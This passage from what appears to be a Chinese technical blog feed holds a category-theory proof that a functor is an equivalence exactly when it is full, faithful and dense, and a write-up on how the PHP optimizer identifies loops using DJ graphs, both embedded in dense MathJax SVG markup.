xmlns="http://www.w3.org/2000/svg" width="8.375ex" height="2.156ex" role="img" focusable="false" viewBox="0 -759 3701.7 953"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D6FD" d="M29 -194Q23 -188 23 -186Q23 -183 102 134T186 465Q208 533 243 584T309 658Q365 705 429 705H431Q493 705 533 667T573 570Q573 465 469 396L482 383Q533 332 533 252Q533 139 448 65T257 -10Q227 -10 203 -2T165 17T143 40T131 59T126 65L62 -188Q60 -194 42 -194H29ZM353 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xmlns="http://www.w3.org/2000/svg" width="1.244ex" height="2.059ex" role="img" focusable="false" viewBox="0 -705 550 910"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g></g></g></svg></mjx-container></span> 和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.079ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 477 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g></g></g></svg></mjx-container></span> 同时满足下面交换图</p><figure><img src="https://pic1.zhimg.com/v2-31a2c9ac820da922cd5fba1521f5d198_b.png" alt="img"><figcaption aria-hidden="true">img</figcaption></figure><p>根据<strong>引理1.2</strong>， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="6.106ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 2699 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mo" 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468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g></g></g></svg></mjx-container></span> 是局部满的。</p><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.054ex" xmlns="http://www.w3.org/2000/svg" width="3.64ex" height="1.242ex" role="img" focusable="false" viewBox="0 -525 1609 549"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="27F8" d="M274 173H1539Q1540 172 1542 171T1545 169T1547 167T1550 164T1551 162T1552 158T1553 153Q1553 140 1538 133H318L328 123Q379 69 414 0Q419 -13 419 -17Q419 -24 399 -24Q388 -24 385 -23T377 -12Q332 77 253 144T72 237Q62 240 59 242T56 250T59 257T70 262T89 268T119 278T160 296Q303 366 377 512Q382 522 385 523T401 525Q419 524 419 515Q419 510 414 500Q379 431 328 377L318 367H1538Q1553 359 1553 347Q1553 336 1539 328L1221 327H903L900 328L602 327H274L264 319Q225 289 147 250Q148 249 165 241T210 217T264 181L274 173Z"></path></g></g></g></svg></mjx-container></span> 这个方向证明，我在怎么用dense这个性质的时候想了很久，最后突然发现一句“由选择公理”就完了，就完了，是的，你没有听错...</p><p>任取 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.09ex" xmlns="http://www.w3.org/2000/svg" width="5.576ex" height="1.661ex" role="img" focusable="false" viewBox="0 -694 2464.6 734"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 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70Q461 70 527 184Q565 251 565 341Z"></path></g></g></g></svg></mjx-container></span> ，由dense性质和选择公理,是可以构造一个 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.606ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3803.7 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"></g><g data-mml-node="mi" transform="translate(33,-150) scale(0.707)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 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data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 24Q407 24 452 47T514 106Q517 114 529 161T541 214Q541 222 528 224T468 227H431Q425 233 425 235T427 254Q431 267 437 273H454Q494 271 594 271Q634 271 659 271T695 272T707 272Q721 272 721 263Q721 261 719 249Q714 230 709 228Q706 227 694 227Q674 227 653 224Q646 221 643 215T629 164Q620 131 614 108Q589 6 586 3Q584 1 581 1Q571 1 553 21T530 52Q530 53 528 52T522 47Q448 -22 322 -22Q201 -22 126 55T50 252Z"></path></g></g></g></svg></mjx-container></span> 出来，我们并没有证明它确实是一个函子，还少一步验证它对态射作用，首先是单位态射，我们有下面这个交换图</p><figure><img src="https://pic3.zhimg.com/v2-af3f0fc74202f3de489b0d8a7f625e7e_b.png" alt="img"><figcaption aria-hidden="true">img</figcaption></figure><p>还是由前面的lemma和 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.695ex" height="1.538ex" role="img" focusable="false" viewBox="0 -680 749 680"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g></g></g></svg></mjx-container></span> 上对态射的单射性质，这里有 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.8ex" xmlns="http://www.w3.org/2000/svg" width="13.359ex" height="2.497ex" role="img" focusable="false" viewBox="0 -750 5904.9 1103.5"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 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transform="translate(1695,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></g></g></svg></mjx-container></span> ,相似地，再给一个态射 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="10.566ex" height="2.181ex" role="img" focusable="false" viewBox="0 -759 4670 964"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 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src="https://pic1.zhimg.com/v2-3b962a6b0ab568c247f2f1b312ef57ec_b.png" alt="img"><figcaption aria-hidden="true">img</figcaption></figure><p>声明一下其中的几个定义，态射 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="8.357ex" height="2.181ex" role="img" focusable="false" viewBox="0 -759 3693.7 964"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 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749Z"></path></g></g></g></svg></mjx-container></span> 再反过来做一次就得到了同构 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.489ex" xmlns="http://www.w3.org/2000/svg" width="1.364ex" height="1.489ex" role="img" focusable="false" viewBox="0 -442 603 658"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D707" d="M58 -216Q44 -216 34 -208T23 -186Q23 -176 96 116T173 414Q186 442 219 442Q231 441 239 435T249 423T251 413Q251 401 220 279T187 142Q185 131 185 107V99Q185 26 252 26Q261 26 270 27T287 31T302 38T315 45T327 55T338 65T348 77T356 88T365 100L372 110L408 253Q444 395 448 404Q461 431 491 431Q504 431 512 424T523 412T525 402L449 84Q448 79 448 68Q448 43 455 35T476 26Q485 27 496 35Q517 55 537 131Q543 151 547 152Q549 153 557 153H561Q580 153 580 144Q580 138 575 117T555 63T523 13Q510 0 491 -8Q483 -10 467 -10Q446 -10 429 -4T402 11T385 29T376 44T374 51L368 45Q362 39 350 30T324 12T288 -4T246 -11Q199 -11 153 12L129 -85Q108 -167 104 -180T92 -202Q76 -216 58 -216Z"></path></g></g></g></svg></mjx-container></span> .</p><p>再看这个大长方形和两个小正方形的交换性，大长方形由上述定义交换，右边这个小正方形因为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.489ex" xmlns="http://www.w3.org/2000/svg" width="1.364ex" height="1.489ex" role="img" focusable="false" viewBox="0 -442 603 658"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D707" d="M58 -216Q44 -216 34 -208T23 -186Q23 -176 96 116T173 414Q186 442 219 442Q231 441 239 435T249 423T251 413Q251 401 220 279T187 142Q185 131 185 107V99Q185 26 252 26Q261 26 270 27T287 31T302 38T315 45T327 55T338 65T348 77T356 88T365 100L372 110L408 253Q444 395 448 404Q461 431 491 431Q504 431 512 424T523 412T525 402L449 84Q448 79 448 68Q448 43 455 35T476 26Q485 27 496 35Q517 55 537 131Q543 151 547 152Q549 153 557 153H561Q580 153 580 144Q580 138 575 117T555 63T523 13Q510 0 491 -8Q483 -10 467 -10Q446 -10 429 -4T402 11T385 29T376 44T374 51L368 45Q362 39 350 30T324 12T288 -4T246 -11Q199 -11 153 12L129 -85Q108 -167 104 -180T92 -202Q76 -216 58 -216Z"></path></g></g></g></svg></mjx-container></span> 是个自然同构，所以也是交换的，言下之意左边这个小正方形也是交换的。这两个小正方形带来的作用是什么？左边这个交换可以得到</p><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="50.108ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 22147.5 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mspace"></g><g data-mml-node="mi"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mi" transform="translate(749,0)"><path data-c="1D43A" d="M50 252Q50 367 117 473T286 641T490 704Q580 704 633 653Q642 643 648 636T656 626L657 623Q660 623 684 649Q691 655 699 663T715 679T725 690L740 705H746Q760 705 760 698Q760 694 728 561Q692 422 692 421Q690 416 687 415T669 413H653Q647 419 647 422Q647 423 648 429T650 449T651 481Q651 552 619 605T510 659Q492 659 471 656T418 643T357 615T294 567T236 496T189 394T158 260Q156 242 156 221Q156 173 170 136T206 79T256 45T308 28T353 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aria-hidden="true">img</figcaption></figure><p>乎将近拖了半个月的证明，终于证完了，选择公理的应用和间接构造自然同构，还是得在细细想想...</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;定理1.1.&lt;/strong&gt; 如果一个函子是等价的，当且仅当这个函子是faithful，full，essentially surjective on objects(dense)。&lt;/p&gt;
&lt;p&gt;在证明这个定理之前，需要提出一个小lemma&lt;/p&gt;
&lt;p&gt;</summary>
      
    
    
    
    <category term="math" scheme="https://m4p1e.com/categories/math/"/>
    
    
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    <title>php-optimizer-about-identifying-loops</title>
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    <published>2020-12-15T18:00:00.000Z</published>
    <updated>2021-05-05T05:46:30.390Z</updated>
    
    <content type="html"><![CDATA[<h1 id="php-optimizer-about-identifying-loops">php optimizer about identifying loops</h1><p>这篇文章用于记录php optimizer中关于循环结构识别算法，看了一些php optimizer components，目前最大的感受就是一个component一篇论文，每一个component都有它的出处，你如果单看代码，你很难去读懂它在描述怎样一种算法，所以你必须去看它出处的论文，只有读懂论文以后，你才能抓住最本质是东西去套代码。很幸运我遇见了正在“高速”发展的php，我很珍惜跟随着这些写optimizer的developers去学习的机会，php里面几乎%90的optimizers都是dmitry写的，我真的很佩服他...</p><p>我最近的工作中也需要identity loops的协助，有向图中循环识别算法很多，php里面用的算法来自于</p><p><a href="http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=22EDBFE01409D5BC12D2C51E4957D78F?doi=10.1.1.42.3972&amp;rep=rep1&amp;type=pdf">Identifying Loops Using DJ Graph</a></p><p>这篇论文构造了一种叫DJ图结构去辅助识别循环，DJ图到底是什么呢？其实用特定的flowgraph生成的dominator tree(支配树)的基础上，把原flowgraph的边(不在dominator tree 中)以join edge的形式又添加到了dominator tree上，就构造了所谓的DJ图，这里J就是指的join edge。</p><p><strong>Definition</strong>: <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="5.922ex" height="1.62ex" role="img" focusable="false" viewBox="0 -511 2617.6 716"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(849.8,0)"><path data-c="2192" d="M56 237T56 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353Z"></path></g></g></g></svg></mjx-container></span>，如果<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="12.221ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 5401.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 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stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D452" d="M39 168Q39 225 58 272T107 350T174 402T244 433T307 442H310Q355 442 388 420T421 355Q421 265 310 237Q261 224 176 223Q139 223 138 221Q138 219 132 186T125 128Q125 81 146 54T209 26T302 45T394 111Q403 121 406 121Q410 121 419 112T429 98T420 82T390 55T344 24T281 -1T205 -11Q126 -11 83 42T39 168ZM373 353Q367 405 305 405Q272 405 244 391T199 357T170 316T154 280T149 261Q149 260 169 260Q282 260 327 284T373 353Z"></path></g></g></g></svg></mjx-container></span>是一条join edge。</p><p>这里我们引用论文里面的图，来具体的理解一下：</p><figure><img src="https://pic2.zhimg.com/80/v2-75a471afd38931f4b4e67153cc91bed1_720w.jpg" alt="img"><figcaption aria-hidden="true">img</figcaption></figure><p>图a是原flowgraph，图b是生成的DJ graph，其中虚线是原flowgrpah的dominator tree上的边，而黑体实线就是join edges。</p><p>介绍完了关于DJ图构造，现在需要稍微了解一下关于循环的定义，循环也是有两种具体分类：</p><ul><li><p>reducible loop</p><p>从循环最本质的直觉上，循环开始叫loop header(循环头)，在reducible loop里面这个loop header是唯一，且是严格支配其loop body(循环体)里面所有的节点。</p><p>当然还有更一般的定义，reducible loop 也是指单入口强连通分量。reducible loop也关系到flowgraph的可约性，如果一个图是可约的，当且仅当我们可以对它的边划分为两个disjoint groups：</p><ul><li>forward edges ：所有的forward edges里面的边，可以构造一个无环图，且所有图上的点和root节点都是可达的。</li><li>back edges：所有的back edges里面的边，目标节点支配源节点，即<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="5.922ex" height="1.62ex" role="img" focusable="false" viewBox="0 -511 2617.6 716"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(849.8,0)"><path data-c="2192" d="M56 237T56 250T70 270H835Q719 357 692 493Q692 494 692 496T691 499Q691 511 708 511H711Q720 511 723 510T729 506T732 497T735 481T743 456Q765 389 816 336T935 261Q944 258 944 250Q944 244 939 241T915 231T877 212Q836 186 806 152T761 85T740 35T732 4Q730 -6 727 -8T711 -11Q691 -11 691 0Q691 7 696 25Q728 151 835 230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(2127.6,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 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data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(767.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 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transform="translate(2232.6,0)"><path data-c="1D45C" d="M201 -11Q126 -11 80 38T34 156Q34 221 64 279T146 380Q222 441 301 441Q333 441 341 440Q354 437 367 433T402 417T438 387T464 338T476 268Q476 161 390 75T201 -11ZM121 120Q121 70 147 48T206 26Q250 26 289 58T351 142Q360 163 374 216T388 308Q388 352 370 375Q346 405 306 405Q243 405 195 347Q158 303 140 230T121 120Z"></path></g><g data-mml-node="mi" transform="translate(2717.6,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 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153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(4556.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span></li></ul></li><li><p>irreducible loop</p><p>irreducible loop 我们可以使用暴力的手法，不是reducible loop的其他循环都是irreducible loop （很多定义都是这样，但是出奇的好用，哈哈）</p></li></ul><p>有了关于DJ图和循环的基本概念，尝试理解为什么DJ图能辅助识别原flowgraph里面的循环？</p><p>我们对dominator tree引入的J边构造了DJ图，可以看到DJ图上也有循环，现在我们还不知道这个循环是不是和原flowgraph是一一对应的，但是我们在尝试关注循环的时候，常常关注一种特殊的edge，称之为back edge，狭义上的理解就是把一条长而直的路径，突然把头和尾连起来变成了一个环。这种定义还是很模糊，我们尝试把这样的边放到DJ图上去，这样边肯定属于J边了，不可能是dominator tree上的边。现在给出严格定义：</p><p><strong>Definition</strong>:将J边分为两种类型的边: Back J(BJ) 和 Cross J(CJ).</p><ol type="1"><li>若一个J边<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="5.922ex" height="1.62ex" role="img" focusable="false" viewBox="0 -511 2617.6 716"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(849.8,0)"><path data-c="2192" d="M56 237T56 250T70 270H835Q719 357 692 493Q692 494 692 496T691 499Q691 511 708 511H711Q720 511 723 510T729 506T732 497T735 481T743 456Q765 389 816 336T935 261Q944 258 944 250Q944 244 939 241T915 231T877 212Q836 186 806 152T761 85T740 35T732 4Q730 -6 727 -8T711 -11Q691 -11 691 0Q691 